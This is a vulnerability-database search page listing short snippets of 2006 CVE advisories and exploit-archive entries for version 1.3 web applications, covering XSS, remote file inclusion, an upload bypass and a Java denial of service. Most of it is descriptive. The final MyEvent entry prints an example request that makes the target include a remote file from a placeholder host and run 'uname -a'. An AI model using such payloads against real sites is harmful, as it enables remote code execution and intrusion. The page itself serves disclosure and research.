2794 matches found
CVE-2006-2728
CVE-2006-2728 is an XSS flaw in Photoalbum B&W 1.3, specifically in the file superalbum/index.php. The vulnerability arises when an attacker supplies a crafted value for the pic parameter, enabling the injection of arbitrary web script or HTML. Documents identify the affected component but do not...
CVE-2006-2729
The CVE-2006-2729 entry details a cross-site scripting (XSS) vulnerability in the Photoalbum B&W 1.3 package, specifically in the file as superalbum/index.php, where the gal parameter can be abused to inject arbitrary script or HTML. The affected component is the web application’s index handler ...
CVE-2006-2729
Cross-site scripting XSS vulnerability in superalbum/index.php in Photoalbum B&W 1.3 allows remote attackers to inject arbitrary web script or HTML via the gal parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
Remote file inclusion
PHP remote file inclusion vulnerability in includes/mailaccess/pop3/core.php in V-Webmail 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the CONFIGpeardir parameter...
CVE-2006-2665
Vulnerability CVE-2006-2665 affects V-Webmail 1.3 via PHP remote file inclusion in includes/mailaccess/pop3/core.php. Attackers can include remote PHP via CONFIG[pear_dir], enabling arbitrary code execution. Affected: V-Webmail 1.3; vulnerability details and an associated exploit exist (e.g., exp...
V-Webmail <= 1.6.4 (pear_dir) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =============================================================== V-Webmail Vulnerable File v-webmail/includes/pear//.php = requireonce $CONFIG'peardir' . '.php'; v-webmail/includes/mailaccess/pop3.php = requireonce$CONFIG'peardir'...
CVE-2006-2530
avatarupload.asp in Avatar MOD 1.3 for Snitz Forums 3.4, and possibly other versions, allows remote attackers to bypass file type checks and upload arbitrary files via a null byte in the file name, as discovered by the Codescan product...
Sun Java Runtime Environment 1.3/1.4/1.5 - Nested Array Objects Denial of Service
source: https://www.securityfocus.com/bid/18058/info The Sun Java Runtime Environment is vulnerable to a denial-of-service vulnerability. This issue is due to the software's failure to handle exceptional conditions. This issue is reported to affect Java Runtime Environment versions up to 1.4.211...
HiveMail 1.3 - addressbook.add.php Remote Code Execution
HiveMail 1.3 - addressbook.add.php Remote Code Execution !/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. ye...
thyme13.txt
---------------------------------------------------------- Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.u.r.a & R@1D3N & Smok3r ----------------------------------------------------------- » Software: Thyme 1.3 » Link: http://www.extrosoft.com/products/thyme/demo/index.php »...
CVE-2006-2117
Cross-site scripting XSS vulnerability in Thyme 1.3 allows remote attackers to inject arbitrary web script or HTML via the search page...
Cross site scripting
Cross-site scripting XSS vulnerability in Thyme 1.3 allows remote attackers to inject arbitrary web script or HTML via the search page...
CVE-2006-2117
CVE-2006-2117 affects Thyme 1.3 with a cross-site scripting (XSS) vulnerability exposed via the search page. The NVD entry confirms an XSS issue allowing remote script/HTML injection; no details on affected versions beyond Thyme 1.3 are provided in the connected documents. There is no explicit re...
CVE-2006-2117
Cross-site scripting XSS vulnerability in Thyme 1.3 allows remote attackers to inject arbitrary web script or HTML via the search page...
r57shell.php <= 1.3 XSS
==================== Discovered by: Qex Date: 20 April 2006 ==================== Run command: XSS...
Remote file inclusion
PHP remote file inclusion vulnerability in index.php in Internet Photoshow 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter...
CVE-2006-1919
PHP remote file inclusion vulnerability in index.php in Internet Photoshow 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter...
CVE-2006-1919
The CVE-2006-1919 entry describes a PHP remote file inclusion in Internet Photoshow 1.3 (index.php) that allows remote attackers to execute arbitrary PHP code by supplying a URL in the page parameter. The vulnerability affects Internet Photoshow 1.3 and is due to including a user-supplied URL, en...
MyEvent 1.3 - event.php Remote File Inclusion
MyEvent 1.3 - event.php Remote File Inclusion Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php"...
MyEvent 1.3 - 'event.php' Remote File Inclusion
Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php" http://www.site.com/path/event.php?myeventpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-17...